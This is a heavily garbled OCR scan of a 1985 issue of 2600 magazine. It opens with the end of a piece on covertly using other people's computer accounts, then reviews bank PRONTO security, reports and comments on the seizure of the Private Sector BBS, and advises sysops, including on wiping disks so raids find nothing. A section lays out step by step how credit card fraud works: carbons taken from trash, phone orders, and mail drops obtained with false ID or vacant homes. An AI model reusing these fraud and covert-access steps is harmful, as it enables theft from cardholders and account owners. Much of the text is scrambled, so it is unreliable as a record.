you can finally leave the system with the
command "logout". This logs the job wyou
are using off the system (there may be

variations of this such as kjob, o
killjob)}. By the way, you can say %if K:u
have privs) "logout username" and that

kills the username’s terminal.

There are many more commands, so try them
out. Just remember: leave tfle account 1in
the same state as you found it. This way
they may never know that you are playing
leech off their acct.



banking from your terminal—a look at PRONTO

. by Orson Buggy .

Electronic banking services via personal
computer and modem are springing up as
various banks try to jump on  the
information aﬁe bandwagon. This month 2600
takes a look at one of the older and more
varied services available in the New York
City area. .

Chemical Bank’s PRON Trnuides a host of
banking services all available for dialing
u¥ with your personal computer and modem.
After signing on with your account you can
make balance inquiries, transfer funds
between accounts, use the bank's computer
to k&eEltrack of wyour checkbock and budget

pay bills to selected merchants, and sen
electronic mail_to other subscribers. All
this costs twelve bucks per month, and you

get a checking account and casﬁ machine

card thrown in too.

Naturally, PRONTO includes numerous
security features to make sure_that only
those authorized to do so can play with the
accounts. First of all, you can't call up
FRONTO with just any terminal. You
must be using their special software. This
means that you can’'t even subscribe unless
your computer is one of the popular series
that they support {Apple II, Atari,
Commodore 64, Compaq, and IBM compatible).
On top of that, there's ¥uur personal
password that you have to fork over each
time vou connect. This sounds good enough

to keep the average troublemaking hacker
out of their hair, but is by no means
bulletproof. If someone eavesdropped on_a

PRONTO conversation he or she could easil{
pick up the codes needed to get into tha
account, since they’'re probably the same
ones for each session (unless, of course,
the eavesdroppee has changed the password
lately). Of course, this hypothetical
intruder would need their own copy of
PRONTO software. But that would not be
much of an 1m¥ed1ment to many hackers.
One bank officer, when presented with
this argument, countered with, "But there’s
really nothing an intruder could do with

your account even if they did manage to
sign on to it somehow. They could get
their jollies transferring money between

our accounts, but they can’t take any out
or themselves." PRONTO allows you to pa¥
bills, but only to a selected list o
merchants. This has over 300 companies on
it, including other banks where you might
want to make loan or credit card payments,
all of the area utilities, 1insurance
companies, several clubs, newspapers an

other kinds of businesses that bill you
every month. If there's somecne you want
to pay that’s not on the list, you can_ask
for them to be included. Chemical claims
this is a big security advantage over other
banks’ home services, since you can only
send money to someone on their pre—approved

lists. Just in case the unthinkable should
happen, the customer is liable for the
first $50 of a fraudulent electronic
banking transaction, Jjust like in_the
credit card and cash machine services.
E¥C3Yt in that case, the customer may be
liable for the first $500 (the maximum) if

he or she fails to notify the bank within

twg days of losing the bank card or access
code.

Chemical also provides another service
called PRONTO Business  Banker. Like

PRONTO, it has slick promotional material

telling the prospective manager how he can

get complete control over his camgan¥’s
accounts. The selling style is a little
different, but it appears to be basically

the same service except with a few minor
changes for business customers.

The way the money actually  gets
transferred when you pay your bills is also
interesting — as of March when Chemical
received a PRONTQ request for a payment
somewhere, some clerk 1in New Jersey would
actually write a check out, shove it 1n an
envelope, and mail it n?f.‘ I don't know
whether they've modernized this at all, but
they were planning to. Chemical also
speaks of future expansions to PRONTO, such
as news, home shopping, and stock quotes.

In the bad ol days, most bank
transactions needed a human _ being’s
signature to be processed. Electronic
banking services replace the handwritten

signature with a digital identification.
The aecuriﬁﬁ is fairly good when it comes
to a handheld bank card, suitable for
sticking into cash machines wherever you
go, which otherwise stays in your pocket
where no one else should have any access.
But the home banking services take this one
step further —— the latest "signature" is
merely a computer identification code,
which, like a common-carrier access code or
eredit card number, is only secure while no
one else knows about it. ;
Citibank’s recognitieon of your digital
signature is rather disappointing,  Their
first level of security is the individual
copy of the software they give you, which
has an embedded identification in 1it. The
next one is the number printed on your bank
machine card that they Eive you (shades of
the ATT calling card blunders of last _
year). The last one is the same "personal
identification code" (PIC), a four to six
digit password that 1s magnetically
encoded on your Eanking card and must be
tvped in whenever you use their cash
machines. This puts a lot of strain on the
PIC, since its disclosure would comgrom}se
both your cash machine and home banking
accounts. Citibank warns you in their
literature to inform them immediately if,
among other things, your banking software
is lost or stolen". Either they don’t
think copying of that software is a threat,

or thei ave (ha ha) copy protected it.
By the way, one of the other home banking
gervices is called EXCEL from Manufacturers
Hanover (a.k.a. Manny Hanny). The only one
I know of of merit’ is PRONTO, and there
only because of the electronic mail
included in the monthly fee. You would

have to be the kind of person who writes a
lot of monthly checks or has a difficult
time making it out to the nearest cash
machine in order to benefit from those
services. )
Eﬂitibank’g bank-by-phone  system is
called DIRECT ACCESS. We tried out this
simulation disk which we
free through an 800 number.
The people there were very happy to send us
a demo—floppy for an I ompatible. This
system hgs several other services including
Dow Jones. )
2600 subscribers who have home banking
services in their area are invited to write
back and tell us what’s going on in your
home town. Any of your personal experi-
ences (good or bad) with these services

would also be welcome.

one using a
ordered for



SEIZED!

2600 Bulletin Board is Implicated in Raid on Jersey Hackers

On July 12, 1985, law enforcement
officials seized the Private Sector BBS, the
official computer bulletin board of 2500

magazine, for "complicity in computer
theft," under the newly passed, an Eet
untest New Jersey  Statute 2C:20-25.
Police had uncovered in April a credit

carding ring operated aroun a Middlesex
County electronic bulletin board, and from

there investigated other North Jerse
bulletin boards. Not understanding subjec
matter of the Private Sector BHS, police

assumed that the sysop was involved "in
illegal activities. ix other computers
also seized in this investigation,

were
including those of Store Manager who ramn a

BBS of his own, Beowolf, Red Barchetta, the
Vampire, NJ Hack Shack, sysoE of the NJ Hack
Shack BBS, and that e sysop of the
Treasure Chest BBS

Immediately after this action, members of
600 contacted the media, who were

2
completely unaware of any of the raids.
They began to bombard the Middlesex County
Prosecutor’s Office with questions and a
ress conference was announced for July 16.
e system operator of the Private Sector
BBS att ted to attend along with reporters
from 2600. They were effectively thrown off
the premises. %hreats were made to charge
them with trespassing and other crimes.
officer who had at first received them
civilly was threatened with the loss of his
job if he didn’t get them removed promptly.
Then the car was chased out of the parking
lot. Perhaps prosecutor Alan Rockoff was
afraid that ghe presence of some technically
literate reporters would ruin the effect of

his press release on the gublm. As it
happens, he didn't need our he
gﬁe next day the details of the press

conference were regorted to the public by
the press. ockoff intended, paranoia
about hackers ran r ant. Headlines got as
ridiculous as hackers ordering tank parts by
telephone from and moving satellites
with their home computers in order to mak:
free phone calls. These and even more
exotic stories were reported by otherwise
respectable media sources. The news con—
ference understandably made the front page
of most of the major neﬁspapers in the US,

and was a major news item ar away as
Australia and in the Umted Kingdom due to
the sensationalism of the claims. We will

try to explain why these claims may have
been made in_this issue.

On July the operator of The Private
Sector was formallyt charged with "computer

conspiracv" under above law, and
arents. The

released in the custody of his
next day the American Civil Libecties Union
took over his defense. The ACLU commented
that it would be very hard for Rockoff to
prove a comspiracy just "because the same
information, construed by the prosecutor to
be 111e{el, apj nrs on two bulletm boards "

especially as ckoff admitted that "he did
not believe any of the defendants knew each
other.” The LU believes that the system
operator’s rlghts were violated, as he was
assumed be involved in an illegal

activity %ust because of othsr E:ople l-m
investigati
messages on hls board..

In another statement which seems to

confirm Rockoff's belief in guilt by assoc—
iation, he anncunced the next day that "630
people were being investigated to determine
if any used their computer equipment fraudu-
lently " " We believe this is only the user
list of the NJ Hack Shack, so t actual
list of those to be investigated may turn
out to be almost times that. The sheer
overwhelming difficulty of this task may
kill this investigation, especially as they
find that many hackers simply leave false
information. omputer hobbyists all across
the country have already been called by the
Bound Brook, New erseiin office of the FBI.
They reported. that the FBI agents used scare
tactics in order to force confessions or to
provoke them inte turning in others. We
would like to remind those who get called
that there is nothing inherently wron, or
illegal in calling any BBS, nor in talki
aboul any activity. The FB H'lllld no!
comment on the case as it is an oin
investigation™ and in the hands of the oca.
prosecutor. They will soon find that many
on the Private BSector BBS’s user list are
data pr‘ocessinf managers, telecommunications
security people, and others who are
interes ed in the subject matter of the BBES,
hardly the undergroun: cr.vmunlty of cmlput.er
criminals depicted at the news conference.
The Private Sector BBS was a completely open
BBS, and police and security people were
even invited on in order to partlnpate.
The BBS was far from the "elite" type o
undergmund telecom boards that Ruckoff
att enﬁ ted to portray.
Within two days, Rockoff took back almost
all of the statements he made at the news
conference, as AT&T and the DOD discounted
the claims he made. He was understandably
unable to find real proof of Private
Sector’s alleged illegal activity, and was
faced with having to return the computer

MY COMPLIMENTS TO
THE PRIVATE SECTOR L/

?ulpment with nothing te show for his
fort Rockoff panicked, and on July 31,
the system operator had a new charge agamst
him, "wiring up his computer as a blue box. "
Apparent]y this was referring to his Nova-
tion Applecat modem which 1is capable of
enerating an hertz tone over the phone
me. By this stretch of imagination an
glecat could produce a 2600 hertz tone as
as the MF which is necessary for "blue
baxmg. lowever, each and every other
lecat or any other modem that
can generate its own tones therefore has
also "wired g his computer as a blue box"
by merely installing the modem. This charf
is so ridiculous t at Rockoff probably wi l
never bother te press it. However,
wordin, of wiring up the computer glves
Rockoff an excuse to continue te hold onte
the computer longer in his futile search for

lllegal activity.
We have requested that the prusecutors
information," said

give us more ecific
Arthur Miller, tﬁe lawyer for The Private
Sector. "The charges are so vague that we
can’t really present a case at this point."
Miller will appear in court on August 16 to
obtain this information. He is also issuimn,
a demand for the return of the equipmen
don’t cooperate

if the prosecutors
will commence  court proceedings agams\t:
them. ey haven’t been particularly
cooperative,” he said.

Rockeff probably will soon reconsider
taking Private Sector's case to court, as
will have to admit he just didn’t know what
he was doing when he selzed the BBS. The
arrest warrant listed only "computer con—
spiracy” against Private Sector, which is
much more difficult to prosecute than the
multitude of charges against some of the
other defendants, which include credit card
fraud, toll fraud, the unauthorized entry
into computers, and numerous others.

Both Rockoff and the ACLU mentioned the
Supreme Court in their press releases, but
he will assuredly take one of his stronger
cases to test the new New Jersey computer
crme law. By seizing the BBS just because

¥posed activities discussed on it
Rcu:kof raises constitutional questions.
Darrell Paster, a lawyer who centers much of
his work on ,computer crime, says the New
Jersey case is Jjust another example of
local law ent‘orcement Eettmg on the band-
wagon of crime that has come into vogue to
prosecute, and they have proceeded with very

little technical u.nderstandmg, and in the
process they have abuse people

constitutional r:r.g What have devel—
oping is a mini tr:h hunt whlch is analo—
gous to some .of the arrests at day care

centers, where they sweep in and arrest
everybody, ruin reputations, and then find
that there is on one or two g\nlty
parties.” We feel that law enforcement, not
understanding the information on the BBS,
rlieglded to strike first and ask questlons
ater.

2600 magazine and the sysops of the
Private Sector EBS stand fullﬁ behind the
system operator. n as the equ1pment

500!
is returned, the BBS will be back wup.
ask all our readers to do their utmost tn
support us in our efforts, and to educate as
many of the public as possible that a hacker
is not a computer crmmal We are all
convinced of our sysop’s innocence, and
await Rockoff’'s droppmf of the charges.
NOTE: Readers will mnotice that our
reporting of the events are quite different
than those presented in the media and by the
Middlesex ounty Prosecutor. We can only
remind you that we are much closer to the
events at hand than the media is that
we are much more technolog:.caily literate
than the Middlesex County Prosecutor’s
Office. The Middlesex Prosecutor has
alreedi taken back many of his statements
is contentions were dlsg roven by ATRT
and the DOD. One problem is that the media
and the police tend to treat the seven cases
as one case, hus the charges against and
activities of some of the hackers has been
extended to all of the charged. We at
can only speak sbout the case of Private
Sector. ¥
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COMMENTARY: THE THREAT TO US ALL

We're very used to reporting on this kind
of a story. We've done it so many times in
our pages that we're tempted to gloss over

raid" stories because they’ve become so
commonplace.. But we realize that we cannot
ever ignore such events, because we all need
to know what is happening out there. It’s
really not a pretty sight.

Mention the word computer to someone and
you’ll see a variety of reactions. In our
case it would be overwhelming enthusiasm,

much like an explorer confronting a new
adventure. But to many people, computers
are evil and scary. This takes two forms:
fear of the computers themselves, and

complete ignorance as to what they and their
uﬁerators are capable of doing. We saw
plenty of the latter last month.

We don’t care if people refuse to under—
stand computers and how they fit in. What
we object to, however, is when these same
people insist on being tﬁe ones to pass laws
and define abuses concerning computers. In
every investigation we have seen, ignorance
abounds. True, such ignorance can be amus-
ing —— we all got a laugh when we heard
the New Jersey authorities insisting that
the hackers were moving satellites "thro
the blue heavens”. But losing The Private
Sector isn't at all funny, and whether you
were a caller to that bulletin board or not,
its loss is a very troubling sign.

What was The Private Sector? Picture =a
sounding board of ideas, theories, and ex-
Eeg1ences and you’ll have a good idea. The

rivate Sector was a place to ask questions,
talk to experts, and learn a hell of a lot
about high teahnulc?y. It was pever a place
to trade 111@%&1 information, such as Sprint
codes, credit card numbers, or computer
passwords. The system operator took
elaborate measures to ensure this, such as
going through each and every message, public
and private, on a daily basis to make sure
nothing shady was trans irins. We don’t
believe he should have hag to do even this.
We can’t_condone censurshig of any kind
our feellngs_ were that if people wanted to
do illegal things, then #hey would face the
consequences, not the people who simply
talked to them. But the sysop had his own
policy and he stuck by it and kept the board
clean. He wanted two things: a good,
interesting bulletin board and no trouble
with authorities. At least he managed to
obtain one of those goals.

Again we see ignorance and a disregard
towards the rights of all of us. They came
and took our board, whose only "crime" was
being mentioned on another board that had
been raided the month before. The Private
Sector was completely innocent of any wrong-

doing. Yet it is being held at this moment,
without bail. See the connection to free
speech yet? Many people have trouble seeing

this because of that word computer. Yet a
computer bulletin board is probably the
purest form of free speech that exists
today. Anyone can call, anyone can speak.
True identity is not required. Why should
this be considered a threat in a democracy?

_ We've been told there is legislation pend-
ing in the House of Representatives to
"regulate” bulletin boards. What this would

mean is a re—definition_of BBS’s into a sort
of public utility. The system operator
woufd have to take full responsibilty for
everything that was posted. This means if
he went away for a week and didn't censor
messages, he could find himself facing
charges when he came back!) The system
operator would also be reguired to confirm
t identities of all users and we wouldn't
at all be surprised if part of this involves
the paying of some sort of fee for a

license. These sound very much like the
kind of tactics used by repressive rr "mes
to curb public assemblies and newspape Is

this in fact what is hﬂg?gning? Aren’t
bulletin boards a form_ of E_ ic assembly, a
kind of electronic publication?

Before all of the computer hobbyists out
there start hating the "hackers" for ruining
the future of bulletin boards, we'd like for
them to view this whole affair as an import-—
ant and ineviteble test. True, some boards
today are being used for sleazy things and
criminals are involved. One could say the

same thing about telephones or even cars.
(Think of how much illegal information must
be sed within the confines of some

people’s cars.) The fact is we cannot
sacrifice a freedom simply because some bad
people are using it.

e see this sort of test frequentl

. When
police pull you owver and ask all Einds of
questions when you haven’t done anything
wrong

you probably wind up fairly annoyed.
But when they say it's a way of catcﬁing
drunk drivers —— well, now that’s different.
A little bit of freedom isn’t all that im—
ﬁﬁ;t&ﬂt when the public welfare is at stake.
t rubbish! And what a perfect way to
start eroding our rights as individuals.
We’re glad that we were able to convince
the American Civil Liberties Union _to take
the case, which is most likely their
introduction to the issues that surround the
use of computers. We've found fﬂﬂd media
like The York Times that actually cares
about what is said in their stories and
attempts to find out what all the sides are.
We've also seen sensationalism at its worst
such as WABC-TV, which took our comments out
of context an made wus seem like an
anti-hacker establishment! Or The New Fork
Daily MNews reporter who asked us after we
said the system operator was "surprised" to
see his computer taken, "Was he shocked?"
Most of all, though, we're amazed at the
response of hackers and non—hackers alike,
who came to the defense of The Private
Sector, offering services, _equigment, ad-
vice. Our phones have been jammed — we've
never seen anything like this. Everyone who

called The rivate Sector knows it was
devoid of all the things it's bein accused
of having. The most important thing anvone

can do at this point is to make sure
everyone knows. The concept of a bulletin
board must be understood. The value of The
Private Sector must be known. The connec—
tion to publications and freedom of speech
has to be established so that people under-
stand the threat to thew whenever a bulletin
board is shut down. When we do this, we'll
be that much closer to getting The ﬁrjvgte
Sector back on line and making a positive
precedent.,



moving satellites right up in the blue...
.what was really going on?

[When e details of the Middlesex Count
F:‘asecutarﬁs Office press conference hit t.'JJ’
newspapers the next the ridiculous
c}mrges .nade many people nwledgesbje about
technol and = computers very disgusted.
EKfv smpie and innocent bits of information
been twisted 1into "evidence" of illegal
activities. With the aid of The Shadow, we
have  put together &8 guide to these
misinterpretations in the hopes that

everyone can see how this Investigation has
gotten completely out of control.

One of the more sensationalist of the
crimes of the hackers was, as Middlesex
Cnuntg Prosecutor Alan Rockof? sald "chang-
ing the pcs1tlons of satellites up in the
blue heavens" and causing communications

satellites to "change positions” in order to
make free phone calls "possibly dlsrupt1ng
intercontinental communications _and makin
legitimate phone calls impossible.™ ThlE
story was twisted by the media to the extent
of dire predictions of hackers causing
satellites to crash into the Soviet Union,
arovokn\g a nuclear war, as heard on one

jednesday morning radio news program, and
the "disruption of telex and telephone
transmission between two continents.” Very
soon afterwards ATET and Comsat denied that
tempts to re-route satellites had been
+ In fact, an AT&T executive on the
MacNeil-Lehrer Repo stated that the
computers which controlled the satellites
weren’t even connected with the phone lines
and that the satellites were constantly
monitored for movement, and none had ever
been detected,

So how did this fallacy arise? Not having
been on the other boards we can only assume
that the ma have contained infermation on
making ille international calls, giving
the police he idea that there was inter—
national phreakin {', Many leng distance com-
panies use satellites to ransmit their
calls. The Private Sector BBS had much in-
formation on satellites, fitting in with its
purpose as a telecommunlcatlnns information

source. One recurring toch was TASI, (Time
Assignment Speech Interpolation) a method of
transmitting satellite conversations. TASI

is only the packet switching of telephone
conversations, where the conversation is
converted into small packets and sent over
satellite and man{ long distance circuits
effectively simultaneously along with nan{
other conversations. TASI permits severa

conversations to be sent over one satellite
circuit, thus permitting more conversations
without sending up more satellites, It is
comparable to talﬁmg about modem transmis—
sion methods. As far as we know there is no
way to use TASI and similar information
fraudulently, and certainly one cannot move
sa‘tell:tes usm% this. Evidently Middlesex
County law enforcement saw posted messages
on the routing of calls through a satellite

and jumped, due to paranoia, to the con-
i:lus}.on it was for the moving of the satel-
ites.

Another of the more sensationalist charges
was that the youths had Department of
Defense "secret telephone codes" that could
enable them to penetrate the Pentagon. Due
to the subject matter of the Private Sector
BBS (telecommunications), AUTOVON, the DoD’s
private telephone netwur‘( was often brought
up because it offers an extremely inter-
esting network architecture quite different
then civilian phone systems. Some AUTOVON
phone numbers were on the board as examples
of the format of the unique numbering plan.
These numbers are easy to obtain and have
peared on other boards. These AUTOVON
pEone numbers can be obtained from a declas-
sified DoD phone book available from the
Government Printing Office for a small fee.

One of the more muddled of the ch  =s was
reported media sources vari ly .as
hackers "ordering tank parts using stolen
credit cards by computer from TI breaking

into TRW computers for top secret inform-
ation on tank parts, and other variations.
It turns out that TRW does do some defense
contracting, but it has nothing at all to do
with tank parts, instead making automobile
parts for various non—tan mil itary
vehicles. TRW does have a credit rating
servlce accessable by computer, but this is
in a completely separate division. Somehow
the authorities and the press had mangled
the different alleged crimes of credit card
fraud and the breaking into of a defense
contractor's computer system which happened
to have defense department information in
it. Since TRW is in both credit ratings and
defense contracting, it would be an obvious
Jump in illogic to hay the hackers break
into TRW computers and order tank parts by
credit card.
And just why was the Private Sector
discussing TRW in the first place? RW’s
credit rating computers were discussed on
the Private Sector much as was discussed
in 2600 (July 1984). Since people’s private
credit information is stored under shoddy
security, it naturally came up in the dis-
cussion of computer security as a particu-
larly bad  instance. Such discussions
weren’t for the purpose of breaking inte
computer ﬁstems, ut were conducted by
various hackers (npot computer criminals) and
data processing managers who were interested
in security methods and computer abuses.
Another possible source of confusien is
the fact that many of the messages on the
BS’s that were confiscated were written by
people 13 years old ur uu.ng'er People this
age may brag and te stories as young
people sometimes do. We re sure that you
can 1meglne a young person telling is
friends how he blew up an AT&T computer or
knocked a satellite out of orbit, much the
same wal he might brag about the speed of
his father’s new sgorts car. It would be
quite 1rrespnns1b e of authorities to issue
the kid's father a ticket based on this just
as it was irresponsible of them to announce
to the press the 1list of computer crimes
without verifyin that actual crimes did
occur. The authorities are still unsure
what crimes, if any, actually took place.
When all these exotic charges are revealed
to be mere flights of fancy, a great lack of
knowledge about computers and telephony is
uncovered on the part of law enforcement.
We feel that law enforcement officials,
along with telecommunications hobbyists,
should start to research the field by ~ lock—

mg m their public library, or even better
oc:

cellege library (under 621 Dewey
Decmal) Several magezines also provide
good information, such as Telecom Bi est

Communications Age, as well as Zt
other telecom industry publications.
redit Card Fraud Explained
With regards to the credit card part of
this whole thing, here is a brief guide to

how credit card numbers are used fraudu-
lently,

First one obtains a complete credit card
number including expiration date. If a
driver’s license number, social security
number, or other information is also cb-
tained, then it is easier to use the credit
card number

to charﬁe goods and services.
Credit and other ormation is usually
found in the form of carbons (actual carben
{aper that fits between the credit slip and
he receipt) that are often discarded after

their use. ons contain all of the
mfomatmn from a  previous legitimate
{urchﬂse someone is requlred to include

heir eddress or social securltK number with
lhe)r credit card number then this will also
ppear on the carbon which is found in the
da]ly trash of many retail stores. One can
then call up a Cullpahi that takes charge
requests over the phone and order go
using the credit card information tha
found with the trash.

But the real hurdle to ccmmxtt)ng credit
card fraud is to have the package delivered
and for this one needs a mailing address.
This can be obtained a few ways. e is to
get a post office box under an ass name
and another is to have it delivered to &
place where it can be picked up before the
¥ackage is noticed, y using stolen or

alse identification or by bein conv)ncln
to a postal clerk, one can obtain a pos
office box. One can also ask for general
post office delivery, where the post office
will put your package on the racks behind

the counter waiting for you to pick u By
finding a vacant or temporarily empty hom
one can also have the eb‘;ects delwered

there.

And this is how it is done from start to
finish. There may be more effective ways to
complete the various stages, but all in all
it is that simple. is is mamly because

mue-s make it easy to make a purchase
whi only supplying a small amount of per—
50:151 information. Often if a company has
been guaranteed that it will be covered for
the value of fraudulently charged goods,
then the company will make it easier for a
person to charge them.

The problem of credit card fraud has a few
simple cures: make it harder to order ob-
jects by phone {companies can issue a code
that must be verbally communicated in order
to complete the purchase--one that doesn’t
appear an the carbon) or discontinue the use

% carbons in credit card receipts. There
are many other safeguards that can be used
to decrease this type of fraud.

This section was not intended to be a
guide in how to commit a crime, but an
edification of how this is not
committed. Credit card fraud is not high

tech crime. No computer is involved or has
to be involved; no illegal phone calls are
involved; an it is not necessary to break
into m or other credit bureaus to commit
thls crime.

omputers may be used as notepads or

mesa e boards where mdwxdusls might write
he information that they found in the
trsah. With regards to credit’ card fraud,

computers are only used as a medium for com-
munication. Cr card carbons are so
easily found and the process of performing
the actual illegal charge has been mede so
easy that it 1s not even necessary to dis—
cuss the topic with others to be able to
commit the crime.

Because of the use of US meil or post
office boxes, the post office is involved in
investigating this tylt:e of crime. The
Secret Service was authorized last October
to investigate credit card fraud. The FBI
has a variety of reasons to investigate.
There are already laws everywhere against
credit card frand. and_there are already as-
sociated penalties, It is nothing new to

aw enforcement. In addition, much of all
credit card fraud is committed by those who

steal, manufacture, or find whele credit
cards.

We hope that this thorouﬁh explanation
will help to get rid ose maocurute

stories we’ve seen abounding. Again we’
like to clarify that law enforcement people
should learn 'a bit sabout computers and
telecomnmunications and above all try to con—
trol their enthusiasm.
e are, of course, only ?unllflad to
on the specific case of The Private
Sector. We feel that Rockoff and his
cohorts will have to search a long time for
the "special codes that provid illegal
access to the information at issue" on
Private Sector, as they just aren't there

Latest news:

! System News Posted: 05-29-85 !
' '

RULES OF THIS BBS:

1) NO CODES/FASSWORDS/CC #'s are to be
posted or eschanged via E-mail.
violation of this rule will cost you
your access. Remember we see every-
thing you type.

2

POST INFORMATION relating to telecom
OnNLY!

These rules are to protect both you the
r and we the sysops.

1f you have any interesting articles
please send them to 2600 via Email to
“2600 MAGAZINE" We appreciate all good
and informative articles.



WHY COMPUTERS GET SNATCHED

When a computer system is confiscated from
a young person because thEﬁ break into
someone s mainframe, because they have a BBS
with lots of codes or passwords posted on
it, or. because they are caught making
iliegal phone calls, no one complains. It
is often said that the young person
obviously commited a crime and deserves to
lose their computer. The kid’s parents are
not going to complain, because they know
enough to think twice about arguing with the
FBI, The Secret Service, or whomever. FPlus
the Y&rents do not want to make headlines in
the local papers. So what the authorities
in effect are doing is convicting p=ople and
punishing them by taking away their computer
system. This 1s, in part, due to the fact
that charges are often not pressed against
young people who break into computers.

When one asks some big company’s public
relations department whether or not people
break into their computers they are likely
to say: "Oh no, of course not, we have the
most secure systems.” This is because it
looks bad to admit to security breaches in
one's system; one’s livelihood. In the case
of GTE-Telemail, the Ecogle there saw some-
thing going wrong, told the FBI and then the
of their hands. A full four
after the raids in QOctober,

case was out
months or more

1983 the default password was still the
letter "A". And it was not until weeks
after this was ublicized that this was
corrected (see 2600, April 1984). Ob-

viously Tel-mail did not want to admit that
they were reluctant to deal with the real
problem. TRW was upset last summer when the
press (see 2600, July 1984) had to tell the
world about breaches into the company’s
credit gathering system.

These companies make money because their
systems are reliable and secure and not
because they will prosecute people who break
in. They know that it is not worth it to
try to prosecute kids, and it is better to
prosecute those who try to use a computer to

ezzle. In addition kids are often exempt
from prosecution or, because of youthful
offender laws, will have little or no penal-
ties placed against them.

It 1s for these reasons that it is more
advantageous for companies to have author-
ities confiscate equipment and punish the
hacker that way rather than dragging them
through court. They keep the equipment by
calling it evidence in an ongoing investiga-
tion, and they often return it if the kid
tells them everything they know. {In
addition, the kid's confession about the
gonr security of whatever system he may have

roken into is rarely related to the proper
security personnel at the company that
the system.) This is also a Torm of harass-—
ment or scare tactics. Aren't younﬁ people
citizens and den’t they have rights just
like the rest of us? They have the right to
due process and have to be proven guilty
beyond a reasonable doubt.
aw enforcement types have said that they
occasionally have to make hacking headlines
in order to reduce the amount of late night
computer activity. They have admitted that
they need to get a good bust in before the
summer starts, because they know that all
young people with computers may spend their
summer trying to start World War III from
their home. And this is a no-no.

QWS



Some Important Questions To Ask
Who is responsibis Tor ‘o Hbs 2 Vr TS ke

sysop how about remote sgsups? How much can
one do to regulate a BRSY On the Private
Sector messages were regularly scanned for
potential illegal material and then deleted
when found. Then the user who posted the
message was denied any further access. What
more can ohne do than this? Especially if
the BBS is simply a hobby and not a full
time job. On the Private Sector it was
extremely unlikely to see a credit card
number or an Allnet code. Plus isn't it
really illegal to wuse these codes? This is
because a crime has been comm xd only
after a code has been used. But n again
in some states, namel{ California, it is
illegal to tell people code formats. This
makes all credit card commercials, sample
credit cards, and this publication illegal
there. Does this sound right?

It also raises a variety of questions on
the admissibility of electronic evidence.

The Middlesex prosecutors consider reading
messages on a BBS the same as overhearing a
conversation. Is this the proper wa

to
lock at BBS messages? And what about e¥ec—
tronic mail? Is the sysop responsible for
the contents of electronic mail just because
he provides the service? Isn't it just as
sacred as US mail? Now, there are cur-
rently no laws that require court approval
in order to tap data lines. So, how does
one consider evidence that is received by a
legal, yet unapproved tap? If authorities
can confiscate a suspect computer system
because it has an illegal message on it, why
don’t they confiscate Compuserve when it is

used by criminals to exchange illegal infor-
mation? Or is the government just upset
about the fact that people are communicating
in an unregulated manner? These questions
go on and on. What are the answers?

Some of the answers are only starting to
aEpear as legislators address the problems
that are connected with the computer age.
But often they are only responses to head-
lines. For instance, we were told that Sen-
ator Paul Trible {H*?irginia% has recently
proposed legislation (S-1305) that would
regu..te obscene material on a BBS. Called
the "Computer Pornography and Child Exploi-
tation Prevention Act of 1985," the legisla-
tion would prohibit the posting uf.nﬂmeslur
addresses of children and prevent discussion
that could be construed as pertaining to

child exploitation. A couple of explicit
messages might give sufficient cause to get
a warrant to seize your BBES. We have not

seen the legislation itself yet, but it was
related to us by Jerry Berman of the Amer-
ican Civil Liberties Union'’s Privacy Project
in Washington. He said that this showed
"Congress trying to regulate an industry
that no one understands and that has no con-
stituency."” This is all too true.

On the other side, Berman told us about
legislation that is being drafted by Patrick

Leah (D-Vermont)] that would extend laws
which limit wiretaps in order to protect
data transmission, electronic mail, and
EBS’s. This is something that would be.

harder to get through Congress, as it
reduces the power of law enforcement.

We will trgﬂto keep you informed when any-
thing new ppens. S0 ask the questions
now, before they are answered for you.



HOW CAN SYSOPS PROTECT THEMSELVES?

. Wave anxie is sweepin ro t messages oh you t i . -
nﬂg%ﬂn a5 pBY SpKIgkYis.SndeRivg gRrosy the|messaees e B i g e R i g
ggﬁ {h:?g ngmegsezgllwugﬂgwﬂbggt ¥ﬂetE§€dgE sometimes it’s an intrusion into someone’s
userlogs. XS, Ta'Ve Dod meke . Bt R privacy. We never liked the practice,

- although it was don 1
difference whether or not you’re actually Priva%ﬁ Sector. It's _eouiegguggﬁv an E%E

engaged in illegal activity. ~ Any bulletin|have the right to rum it your wa
gf?ﬁﬁtggiﬂherﬂhﬂﬂgld be next and zhere’s not| What really needs to bg addregaed at thie
it. Not ?“f hat can be done to prevent |point is the concept of protection. Yes
prétEct u;? 11 we get some laws passed to|you have the right to protect ynursel%

In the meantime, however, there are a few |mattor who  sent thom. . One. way i by

suggestions we can pass along to either |scrambled data There are wan i
3 E v scrambling
%ﬁﬁiggrghga%ggg of a raid or to thwart the|programs around and some of them are quite

s materig¥?y manage to get into con-|good; even the NSA would have a time crack-

o
: : : ing the code. We feel that all userlo
thopvigusly, if you have a bulletin board should be scrembled, at the very least. (In
equently posts codes and passwords, |some cases, a valid form of protection would

E?P-C?n almost expect to get visited, even|be to keep no userlog at all.) System oper—
#h %F s only being done in private mail.|ators should try to figure out a way to
ro? %h very important at this stage is the|scramble everytﬂin so that nothing is
e 5{“?5'. operator is_ playing with|available to unauthorized parties. When
eher dliad g;%iégf“r:atiﬁ“' Ifl he/she is|raids become totally fruitless, maybe then
tainly be aﬂ attemgin L ere will most cer—|they will stop. Of course, now there_is the

them.” It’s sistlar tc d:g§€ a?eﬁ?::%é%igi roblem of being forced, under penalty of

g . € aw, to unscramble everything. A vivid
evaders who publicize their opposition——they imagination can probably ¥ind EB way around

are the ones that get prosecuted, not the this as well
33§§iwh¢ kﬁeglat_lag profile about it. By The best method of protection is complete
attengg a % etin board, you are calling|destruction of data. Some people hook up
lgﬂ ‘ o ynurse]fk so 1t stends to|their computers so that if the wrong door is
reason that you should keep your act clean. |gpened or a button isn't ressed, a et
Had this article been written before July|gactivates and wipes the disk clean. Bookies

12, we would have advised sysops to en-|1; i i i imi
courage people not to post —credit —card like to do this with their Apples. Similar

E:ﬂhﬁgg. passwords, etc. in order not to get ?ﬁ*ﬁﬁﬂ?ugﬁﬂﬂ,bfhglg Eﬁggo Eﬂ?ﬁglftadges u;gz
H‘tﬁ Tﬁ But this is no longer _the case.|revival it a purge (not a directory purge
il iﬁ Pr1vaEE Seﬁtur, authorities moved|yhich comes with simply deleting file names
? EVEﬂf tgﬂgﬁ e board was kept spanking|a complete reformatting of the disk which
clean o e above. So now, the only way we|erases all data). This means, tho that
can arantee that your board won't be|eyery power failure will have the same
snatched from you is if you unplug it and|effect. It will take some time to make a

t it in a closet. Using a bulletin board| good tem of tecti but this i
ggr communication between two or more people|fo the most constructive project that BBS
ofn nowbe: congiaared ok peop Eably tﬁa most conﬂtructlvelgroject that BBS

- 3 ,

